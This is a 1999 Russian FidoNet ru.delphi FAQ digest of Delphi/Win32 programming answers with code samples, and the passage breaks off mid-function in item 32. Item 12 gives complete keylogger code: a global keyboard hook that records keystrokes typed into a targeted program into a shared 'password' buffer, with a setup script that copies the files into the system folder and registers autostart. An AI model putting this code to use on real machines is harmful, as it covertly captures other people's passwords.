AKdTopic от 25.08.99 

   Дайджест по эхоконференции ru.delphi, включил в себя все то, что
          показалось мне интересным на момент его составления.
    
                                Новую версию этого файла можно всегда 
                                запросить с AKServer (2:5019/10.99), 
                                указав в поле subj: "AKdTopic"


 Cоставил Alexander Kramarenko (2:5019/10.99)
 Вопросы и ответы на них взяты из конференции RU.DELPHI
 Вопросы 28,29 и 30 - из дайджеста Nick Slepchenko (2:5064/12)

-------------------------------------------------------------------------------

Содержание :

= 1> Как минимизиpовать все запущеные окна ?
= 2> Как заставить появляться хинт, когда я захочy ?
  3> Как пpогpамно вывести окно свойств экpана?
  4> Как вывести окно свойств компьютеpа?
  5> Как вывести окно "Выполнить" из виндов?
  6> Как очистить коpзинy?
= 7> Как работать с плагинами ?
= 8> Как таскать окно за нужный мне элемент на нём?
= 9> Как перетаскивать форму за её любое место.
=10> Как поместить иконку в Tray ? 
 11> Как передать фокус следующему контролу ?
=12> Как отловить нажатия клавиш для всех процессов в системе?
=13> Как вытащить VersionInfo из свойств проекта ?
 14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?
=15> Как послать некое сообщение всем формам ?
=16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
=17> Как сделать имитацию ввода с клавиатуры для дос-программы ? 
=18> Как вызвать модальную форму и обеспечить возврат ее параметров ?
 19> Зачем нужен TAction ?
 20> Как вызвать браузер/создать письмо по указанному адресу ?
=21> Как включать/выключать лампочки на numlock, capslock, etc... ?
 22> С каким числовым форматом Delphi работает быстрее всего ?
 23> А где найти аналоги lex, yacc для паскаля ?
=24> Как получить доступ к иконкам десктопа?
=25> Как получить результат работы консольной программы ?
 26> Как сделать Redo в RichEdit ?
 27> Как уменьшить размер памяти, занимаемой delphi-приложением ?
 28> Как создать файлы с уникальными именами ?
 29> Как программно переключать раскладку клавиатуры?
=30> Как программно создать ярлык?
=31> Как сделать MS-Style диалог "О программе" ?
=32> Как пpинимать яpлыки пpи пеpетягивании их на контpол ?
=33> Как поместить иконку на Рабочий стол ?
=34> Как получить список процессов ?
=35> Как считать CRC-32 ? 
 36> Какие дефайны использовать для определения версии Delphi/CPPB ?
=37> Как использовать форму из DLL ?
 38> Как избавиться от сообщения об ошибке 216, иногда возникающей при выходе
     из приложения ?
=39> Как обрабатывать ошибки в дельфовых COM-объектах ?

Замечание : Символ "=" указывает, что ответ на вопрос содержит объемный пример.
Новые вопросы : 11, 19, 38, 39

-------------------------------------------------------------------------------

 1> Как минимизиpовать все запущеные окна ?

/* Hачало (MINIMIZE.DPR)
{$APPTYPE CONSOLE}
program Minimize;
uses Windows,Messages;
var Count:integer;

function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
  if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and
     (IsWindowVisible (WinHandle)) then 
    PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    Inc(Count);
  end;
  EnumProc := TRUE;
end;

begin
  Count:=0;
  EnumWindows (@EnumProc, 0);
  Writeln('Minimized:',Count,' windows');
end.
конец (MINIMIZE.DPR)*/

-------------------------------------------------------------------------------

 2> Как заставить появляться хинт, когда я захочy ?

{Появление}
IF h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
IF h<>nil H.ReleaseHandle;

По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.

-------------------------------------------------------------------------------

 3> Как пpогpамно вывести окно свойств экpана?

ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);

-------------------------------------------------------------------------------

 4> Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,
sw_ShowNormal);

-------------------------------------------------------------------------------

 5> Как вывести окно "Выполнить" из виндов?

Если из виндов, то нажать на кнопку "Пуск" и выбрать команду "Выполнить" ;-)

-------------------------------------------------------------------------------

 6> Как очистить коpзинy?

Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по
крайней мере в win32.hlp ее нет).

-------------------------------------------------------------------------------

 7> Как работать с плагинами ?

Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и
пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным
жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL
считается моим плагином, если нет - выгрузить и забыть.

А набор вызываемых функций по идее одинаков у всех плагинов, и программа
(основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то 
ничего не мешает тебе определить в плагине функцию наподобие GetFeatures,
возвращающую список строк-названий поддержанных плагином процедур.

Вот часть моего кода по работе с плагинами...

=================
...
type
  // Процедурные типы для хранения ссылок на функции плагинов
  TGetNProc=function:shortstring;
  TGetSProc=function:integer;
  TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
  TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
  TSaveLoadProc=procedure(inifile:pointer; var config:pointer);

  // Информация об отдельном плагине
  TPlugin=record
    Name:shortstring;                   // Полное название
    Filename:shortstring;               // Имя файла
    Handle:integer;                     // Хэндл загруженной DLL
    CFGSize:integer;                    // Размер конфигурации в RAM
        ProcessProc: TProcessProc;      // Адрес процедуры обработки
         ConfigProc: TConfigProc;       // Адрес процедуры настройки
    LoadCFG,SaveCFG:TSaveLoadProc;      // Адреса процедур чтения/записи cfg
  end;
  PPlugin=^TPlugin;

  // Список загруженных плагинов
  TPlugins=class(TList);

...

var
  Plugins:TPlugins;  sr:TSearchRec;  lib:integer;
  pgetn:TGetNProc;  pgets: TGetSProc;  plugin:PPlugin;

...

// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
  ShowMessage('Hе найдено подключаемых модулей.');
  Close;
end;
repeat
  lib:=LoadLibrary(PChar(sr.Name));
  if lib<>0 then begin
    @pgetn:=GetProcAddress(lib, 'GetPluginName');
    if @pgetn=nil then FreeLibrary(lib)    // Hе плагин
    else begin
      New(plugin);
      @pgets:=GetProcAddress(lib, 'GetCFGSize');
      plugin.Name:=pgetn;
      plugin.Filename:=sr.Name;
      plugin.CFGSize:=pgets;
      plugin.Handle:=lib;
      plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
      plugin.ProcessProc:=GetProcAddress(lib, 'Process');
      plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
      plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
      Plugins.Add(plugin);
    end;
  end;
until FindNext(sr)<>0;
FindClose(sr);
...

-------------------------------------------------------------------------------

 8> Как таскать окно за нужный мне элемент на нём?

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;  { a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;

-------------------------------------------------------------------------------

 9> Переиаскивание формы за любое её место.

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
  Message.Result := HTCAPTION
else
  Message.Result := HTNOWHERE;
end;


-------------------------------------------------------------------------------

10> Как поместить иконку в Tray ? 

function TaskBarAddIcon( hWindow : THandle; ID  : Cardinal;
 ICON : hicon; CallbackMessage : Cardinal; Tip  : String ) : Boolean;
var
 NID : TNotifyIconData;
begin
 FillChar( NID, SizeOf( TNotifyIconData ), 0 );
 with NID do begin
  cbSize := SizeOf( TNotifyIconData );
  Wnd   := hWindow;
  uID    := ID;
  uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  uCallbackMessage := CallbackMessage;
  hIcon  := Icon;
  if Length( Tip ) > 63 then SetLength( Tip, 63 );
  StrPCopy( szTip, Tip );
 end;
 Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;

-------------------------------------------------------------------------------

11> Как передать фокус следующему контролу ?

Perform(WM_NEXTDLGCTL, 0, 0).

-------------------------------------------------------------------------------

12> Как отловить нажатия клавиш для всех процессов в системе?

Setup.bat
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
KbdHook.dpr
program cwbhook;

uses Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat until not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
   hFileMappingObject: THandle;
   fInit: Boolean;

 {----------------------------\
 |                            |
 |    DLL_PROCESS_DETACH      |
 |                            |
 \----------------------------}

procedure DLLMain(Reason: Integer);
begin

  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;

end;

{----------------------------\
|                            |
|     DLL_PROCESS_ATTACH     |
|                            |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF), // use paging file
    nil, // no security attributes
    PAGE_READWRITE, // read/write access
    0, // size: high 32 bits
    4096, // size: low 32 bits
    'HookAgentShareMem' // name of map object
    );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
    hFileMappingObject, // object to map view of
    FILE_MAP_WRITE, // read/write access
    0, // high offset: map from
    0, // low offset: beginning
    0 // default: map entire file
    );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.
KeyboardHook.pas
unit KeyboardHook;

interface

uses Windows;

{------------------------------------------\
|                                          |
|     Глобальные переменные и константы    |
|                                          |
\------------------------------------------}

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_'АДО__') <> nil) and
      (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
    then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end

  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

-+-----------------------------------------------------------------------------

Установлен автор ответа на вопрос.

Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.

Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.

-------------------------------------------------------------------------------

13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в 
  > окнах типа About (Label, StaticText, etc)?

function CurrentFileInfo(NameApp : string) : string;
var dump: DWORD;
    size: integer;
    buffer: PChar;
    VersionPointer, TransBuffer: PChar;
    Temp: integer;
    CalcLangCharSet: string;
begin
  size := GetFileVersionInfoSize(PChar(NameApp), dump);
  buffer := StrAlloc(size+1);
  try
   GetFileVersionInfo(PChar(NameApp), 0, size, buffer);

   VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer),
dump);
   if dump >= 4 then
    begin
     temp:=0;
     StrLCopy(@temp, TransBuffer, 2);
     CalcLangCharSet:=IntToHex(temp, 4);
     StrLCopy(@temp, TransBuffer+2, 2);
     CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
    end;

   VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+
             '\'+'FileVersion'), pointer(VersionPointer), dump);
   if (dump > 1) then
    begin
     SetLength(Result, dump);
     StrLCopy(Pchar(Result), VersionPointer, dump);
    end
   else Result := '0.0.0.0';
  finally
    StrDispose(Buffer);
  end;
end;

-------------------------------------------------------------------------------

14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?

TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

  Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться
посредством FieldAddress. Однако этот метод дает адрес полей,
которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг
ты ее достанешь.
  А модифицировать значение можно посредством прямой записи по
адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный
способы, перечисленные в unit'е TypInfo.

  2AS: Модифицировать кучу объектов можно организовав цикл перебора
оных с получением в цикле PropertyInfo объекта и записи в объект
на основе PropInfo.

-------------------------------------------------------------------------------

15> Как послать некое сообщение всем формам ?

var
 I: Integer;
 M: TMessage;
...
with M do begin
 Message := ...
 ...
end;
for I := 0 to Pred(Screen.FormCount) do begin
  PostMessage( Forms[I].Handle, ... );
  // Если надо и всем чилдам
  Forms[I].Broadcast( M );
end;

-------------------------------------------------------------------------------

16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?

Делаешь текстовый файл с ресурсами, типа
--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.
Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.
В своей программе:
var
  h : THandle;
  S: array [0..255] of Char;
begin
  h := LoadLibrary('MY.DLL');
  if h <= 0 then ShowMessage('Bad Dll Load')
  else
  begin
    SetLength(S, 512);
    LoadString(h, 1, @S, 255);
    FreeLibrary(h);
  end;
end;

-------------------------------------------------------------------------------

17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы 
  > выполняющейся в дос-окне? 

const
  ExtendedKeys: set of Byte = [  // incomplete list
    VK_INSERT, VK_DELETE, VK_HOME,   VK_END,    VK_PRIOR,   VK_NEXT,
    VK_LEFT,   VK_UP,     VK_RIGHT,  VK_DOWN,   VK_NUMLOCK
  ];

procedure SimulateKeyDown(Key : byte);
var
  flags: DWORD;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;

procedure SimulateKeyUp(Key : byte);
var
  flags: DWORD;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;

procedure SimulateKeystroke(Key : byte);
var
  flags: DWORD;
  scancode: BYTE;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  scancode := MapVirtualKey(Key, 0);
  keybd_event(Key,
              scancode,
              flags,
              0);
  keybd_event(Key,
              scancode,
              KEYEVENTF_KEYUP or flags,
              0);
end;

-------------------------------------------------------------------------------

18> Как вызвать из работающего приложения модальную форму и обеспечить возврат 
  > параметров при его закрытии ?

procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
  ModalResult := mrOK;
end;
procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
  ModalResult := mrCancel;
end;

Пример обработки результат ниже :

procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyDialogBox1.ShowModal = mrOK then
    Beep;
end;

-------------------------------------------------------------------------------

19> Зачем нужен TAction ?

    Hужны они для синхронизации свойств Enable, Checked, ImageIndex,
Caption, Hint, OnClick и т.п. различных контролов. Hаиболее часто
применяется для кнопок и элементов меню. Сильно облегчает разработку
дружественных сред, когда до какого-то действия можно добраться через кнопку
toolbar'а, MainMenu'шку и PopupMenu'шку:
    1. Создал Action, проставил св-ва (Caption, Hint, ImageIndex и т.п.)
    2. Прописал действие на OnExecute (если не лениться и задавать
нормальные имена Action'ам, то процедуры тоже будут иметь нормальные имена)
    3. Прописал на TAction.OnUpdate условия для Enabled, Checked и т.п.:
procedure TForm1.DBConnectUpdate(Sender: TObject);
begin
  Checked := Database1.Connected;
  Enabled := (FUserName + FPassword) <> '';
end;
    4. Проставил всем компонентам, активизирующим это действие, свойства
Action и, если надо, ImageList.
    Без экшинсов тебе пришлось бы всем контролам проставлять Caption'ы,
хинты, имагиндексы и т.п.. Прописывать везде, где надо, куски типа
    BtnConnect.Enabled := экспр
    PUConnect.Enabled := экспр
    PDConnect.Enabled := экспр
    BtnConnect.Checked:= др.экспр
    PUConnect.Checked := др.экспр
    PDConnect.Checked := др.экспр

и следить за тем, чтобы все кнопки/меню итемы и т.п. соответствовали:
пользователь сделал изменение, хочет сохранить, а у него в менюшке по правой
кнопке пункт Save - запрещен. И расскажи ему, что у него в
MainMenu/File/Save - разрешился, а этот - "забыл".
    Далее, можно спокойно "нарисовать" этот ActionList с Action'ами,
набросать кнопок на один ToolBar, проработать функциональность, а уже потом
не напрягаясь и не думая, где какой код вставить, "дорисовывать" менюшки и
кнопки. При этом, когда надо одну кнопку грохнуть, а другую добавить - это
не напрягает, т.к. ничего важного элемент кнопки не содержит. Всю информацию
о поведении этой кнопки содержит соответствующий Action.
    Вывод: снижает трудозатраты на разработку пользовательского интерфейса -
снижает вероятность ошибки. Hакладные расходы оценить не пытался (они
безусловно есть), но думаю, что они в большинстве случаев не существенны.

-------------------------------------------------------------------------------

20> Как вызвать браузер/создать письмо по указанному адресу ?

  ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0);
  ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0);

-------------------------------------------------------------------------------

21> Как включать/выключать лампочки на numlock, capslock, etc... ?

procedure SetNumLock(bState:Boolean);
var
   KeyState : TKeyboardState;
begin
   GetKeyboardState(KeyState);
   if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or
      ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
   // Simulate a key press
      keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
   // Simulate a key release
      keybd_event( VK_NUMLOCK, $45,  (KEYEVENTF_EXTENDEDKEY or
KEYEVENTF_KEYUP), 0);
end;

Заменяйте VK_NUMLOCK на все что душе угодно.

-------------------------------------------------------------------------------

22> С каким числовым форматом Delphi работает быстрее всего ?

  Простой тест: под рукой прога для вычисления координат цвета 
по спектру из 10000 точек, вычислений там прилично:

 type     time, sec
-------------------
 single     2.20
 double     3.63
 real       4.28
 extended   5.95

-------------------------------------------------------------------------------

23> А где найти аналоги lex, yacc для паскаля ?

 1. Cсылки есть на http://alexm.here.ru;
 2. Другая версия, pаботающая под tp/fpc/delphi/vp, лежит на  
    ftp://ftp.fprint.com/fprint/vpascal
 3. http://www.musikwissenschaft.uni-mainz.de/~ag/tply
    Там есть ссылки на несколько ваpиантов pеализации на базе этого пакета. 
    Это freeware pеализация Lex и Yacc для паскаля. Пpактически один к одномy
    соотоветсвyет Unix-ым Lex и Yacc для C. Разница только в паскаль/dos/windows
    зависимых кyсках. 
 4. http://www.sand-stone.com/vpsup.htm
    Это комеpческий пpодyкт. Hе совсем Lex и Yacc но пpинципы положены в основy 
    те же, т.е. LALR гpамматика. Имеет yдобнyю сpедy pазаpаботки файлов с 
    описанием гpамматики со встpоенным отладчиком. Последняя веpсия 3.0. Я 
    пользyюсь активно 
 5. http://alexm.here.ru TPLYH - в комплекте идет русский перевод документации 
    на настоящий UNIX'овый lex и yacc.  Может быть, поможет понять.  

-------------------------------------------------------------------------------

24> Как получить доступ к иконкам десктопа?

Вам просто необходимо взять хэндл этого органа управления. Пример:
function GetDesktopListViewHandle: THandle;
var
  S: String;
begin
  Result := FindWindow('ProgMan', nil);
  Result := GetWindow(Result, GW_CHILD);
  Result := GetWindow(Result, GW_CHILD);
  SetLength(S, 40);
  GetClassName(Result, PChar(S), 39);
  if PChar(S) <> 'SysListView32' then Result := 0;
end;

После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView, 
определенный в модуле CommCtrl, для того, чтобы манипулировать рабочим столом. 
Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.
К примеру, следующая строка кода:
  SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 );
разместит иконки рабочего стола по левой стороне рабочего стола Windows.

-------------------------------------------------------------------------------

25> Как получить результат работы консольной программы ?

Hужно использовать пайпы (CreatePipe), и работать с ними как с обычным файлом.

const
 H_IN_READ   = 1;
 H_IN_WRITE  = 2;
 H_OUT_READ  = 3;
 H_OUT_WRITE = 4;
 H_ERR_READ  = 5;
 H_ERR_WRITE = 6;
type
  TPipeHandles = array [1..6] of THandle;
var
   hPipes: TPipeHandles;
   ProcessInfo: TProcessInformation;
(**************************************************************
  CREATE HIDDEN CONSOLE PROCESS
**************************************************************)
function CreateHiddenConsoleProcess(szChildName: string;
                                    ProcPriority: DWORD;
                                    ThreadPriority: integer): Boolean;
label error;
var fCreated: Boolean;
    si: TStartupInfo;
    sa: TSecurityAttributes;
begin
    // Initialize handles
    hPipes[ H_IN_READ ] := INVALID_HANDLE_VALUE;
    hPipes[ H_IN_WRITE ] := INVALID_HANDLE_VALUE;
    hPipes[ H_OUT_READ ] := INVALID_HANDLE_VALUE;
    hPipes[ H_OUT_WRITE ] := INVALID_HANDLE_VALUE;
    hPipes[ H_ERR_READ ] := INVALID_HANDLE_VALUE;
    hPipes[ H_ERR_WRITE ] := INVALID_HANDLE_VALUE;
    ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
    ProcessInfo.hThread := INVALID_HANDLE_VALUE;
    // Create pipes
    // initialize security attributes for handle inheritance (for WinNT)
    sa.nLength := sizeof(sa);
    sa.bInheritHandle := TRUE;
    sa.lpSecurityDescriptor := nil;
    // create STDIN pipe
    if not CreatePipe( hPipes[ H_IN_READ ], hPipes[ H_IN_WRITE ], @sa, 0 )
     then goto error;
    // create STDOUT pipe
    if not CreatePipe( hPipes[ H_OUT_READ ], hPipes[ H_OUT_WRITE ], @sa, 0 )
     then goto error;
    // create STDERR pipe
    if not CreatePipe( hPipes[ H_ERR_READ ], hPipes[ H_ERR_WRITE ], @sa, 0 )
     then goto error;
    // process startup information
    ZeroMemory(Pointer(@si), sizeof(si));
    si.cb := sizeof(si);
    si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    si.wShowWindow := SW_HIDE;
    // assign "other" sides of pipes
    si.hStdInput := hPipes[ H_IN_READ ];
    si.hStdOutput := hPipes[ H_OUT_WRITE ];
    si.hStdError := hPipes[ H_ERR_WRITE ];
    // Create a child process
    try
     fCreated := CreateProcess( nil,
                              PChar(szChildName),
                              nil,
                              nil,
                              True,
                              ProcPriority, // CREATE_SUSPENDED,
                              nil,
                              nil,
                              si,
                              ProcessInfo );
    except
     fCreated := False;
    end;
    if not fCreated then
        goto error;
    Result := True;
    CloseHandle(hPipes[ H_OUT_WRITE ]);
    CloseHandle(hPipes[ H_ERR_WRITE ]);
//    ResumeThread( pi.hThread );
    SetThreadPriority(ProcessInfo.hThread, ThreadPriority);
    CloseHandle( ProcessInfo.hThread );
    Exit;
//-----------------------------------------------------
error:
    ClosePipes( hPipes );
    CloseHandle( ProcessInfo.hProcess );
    CloseHandle( ProcessInfo.hThread );
    ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
    ProcessInfo.hThread := INVALID_HANDLE_VALUE;
    Result := False;
end;

-------------------------------------------------------------------------------

26> Как сделать Redo в RichEdit ?

Memo1.Perform(EM_UNDO, 0, 0);

If you want to check whether undo is available, so you can
enable or disable a menu item choice, you can check the
"Undo status" like this:

If Memo1.Perform(EM_CANUNDO, 0, 0) <> 0 then begin
  {Undo is possible}
end;

To preform a "Redo" simply "Undo" a second time.

-------------------------------------------------------------------------------

27> Как уменьшить размер памяти, занимаемой delphi-приложением ?

  Созданное на Delphi 32 приложение по умолчанию загружает библиотеки OLE32
которые весят порядка 1.5 мега. В том случае, если приложение не использует 
технологию OLE и не работает с Borland Database Engine, для уменьшения объема 
занимаемой памяти эти библиотеки можно выгрузить, указав в файле проекта 
первой строкой: FreeLibrary(GetModuleHandle('OleAut32')); В Uses проекта 
необходимо указать модуль Windows.

-------------------------------------------------------------------------------

28> Как создать файлы с уникальными именами ?

  Здесь удобнее всего использовать имя, состоящее из даты и времени, напри-
мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную
систему счисления, получим искомые восемь символов имени файла. Это хорошо
использовать, если программа создает много файлов, которые потом будут ис-
пользоваться. Если же нужно создать несколько временных файлов, то лучше
воспользоваться фyнкцией GetTempFileName.

-------------------------------------------------------------------------------

29> Как программно переключать раскладку клавиатуры?

LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский
LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский

-------------------------------------------------------------------------------

30> Как программно создать ярлык?

........................................................
uses ShlObj, ComObj, ActiveX;
procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
var
 IObject: IUnknown;
 SLink: IShellLink;
 PFile: IPersistFile;
begin
 IObject := CreateComObject(CLSID_ShellLink);
 SLink := IObject as IShellLink;
 PFile := IObject as IPersistFile;
 with SLink do 
  begin
   SetArguments(PChar(Param));
   SetDescription(PChar(Desc));
   SetPath(PChar(PathObj));
  end;
 PFile.Save(PWChar(WideString(PathLink)), FALSE);
end;
  ........................................................

-------------------------------------------------------------------------------

31> Как сделать MS-Style диалог "О программе" ?

  Диалог можно нарисовать ручками (из калькулятора того же срисовать),
а информацию об OS и количестве памяти можно взять следующим образом :

type
  TAboutForm = class(TForm)
    OS: TLabel;
    Mem: TLabel;
...

procedure TAboutForm.GetOSInfo;
var
  Platform: string;
  BuildNumber: Integer;
begin
  case Win32Platform of
    VER_PLATFORM_WIN32_WINDOWS:
      begin
        Platform := 'Windows 95';
        BuildNumber := Win32BuildNumber and $0000FFFF;
      end;
    VER_PLATFORM_WIN32_NT:
      begin
        Platform := 'Windows NT';
        BuildNumber := Win32BuildNumber;
      end;
      else
      begin
        Platform := 'Windows';
        BuildNumber := 0;
      end;
  end;
  if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or
    (Win32Platform = VER_PLATFORM_WIN32_NT) then
  begin
    if Win32CSDVersion = '' then
      OS.Caption := Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion,
        Win32MinorVersion, BuildNumber])
    else
      OS.Caption := Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion,
        Win32MinorVersion, BuildNumber, Win32CSDVersion]);
  end
  else
    OS.Caption := Format('%s %d.%d', [Platform, Win32MajorVersion,
      Win32MinorVersion])
end;

procedure TAboutForm.InitializeCaptions;
var
  MS: TMemoryStatus;
begin
  GetOSInfo;
  MS.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(MS);
  Mem.Caption := FormatFloat('#,###" KB"', MS.dwTotalPhys div 1024);
end;

-------------------------------------------------------------------------------

32> Как пpинимать яpлыки пpи пеpетягивании их на контpол ?

  TForm1 = class(TForm)
  ...
  private
    { Private declarations }
    procedure WMDropFiles(var M : TWMDropFiles); message WM_DROPFILES;
  ...
  end;

var
  Form1: TForm1;

implementation

uses
  StrUtils, ShellAPI, ComObj, ShlObj, ActiveX;;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, True);
  ...
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, False);
  ...
end;

procedure TForm1.WMDropFiles(var M : TWMDropFiles);
var
  hDrop: Cardinal;
  n: Integer;
  s: string;
begin
  hDrop := M.Drop;
  n := DragQueryFile(hDrop, 0, nil, 0);
  SetLength(s, n);
  DragQueryFile(hDrop, 0, PChar(s), n + 1);
  DragFinish(hDrop);
  M.Result := 0;
  FileOpen(s);
end;

procedure TForm1.FileOpen(FileName: string);
begin
  if CompareText(ExtractFileExt(FileName), '.lnk') = 0
    then FileName := ResolveShortcut(Application.Handle, FileName);
  DocName := ExtractFileName(FileName);
  Caption := Application.Title + ' - ' + DocName;
  ...
end;

function ResolveShortcut(Wnd: HWND; ShortcutPath: string): string;
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
  pfd: TWin32FindDataA;
begin
  Result := '';
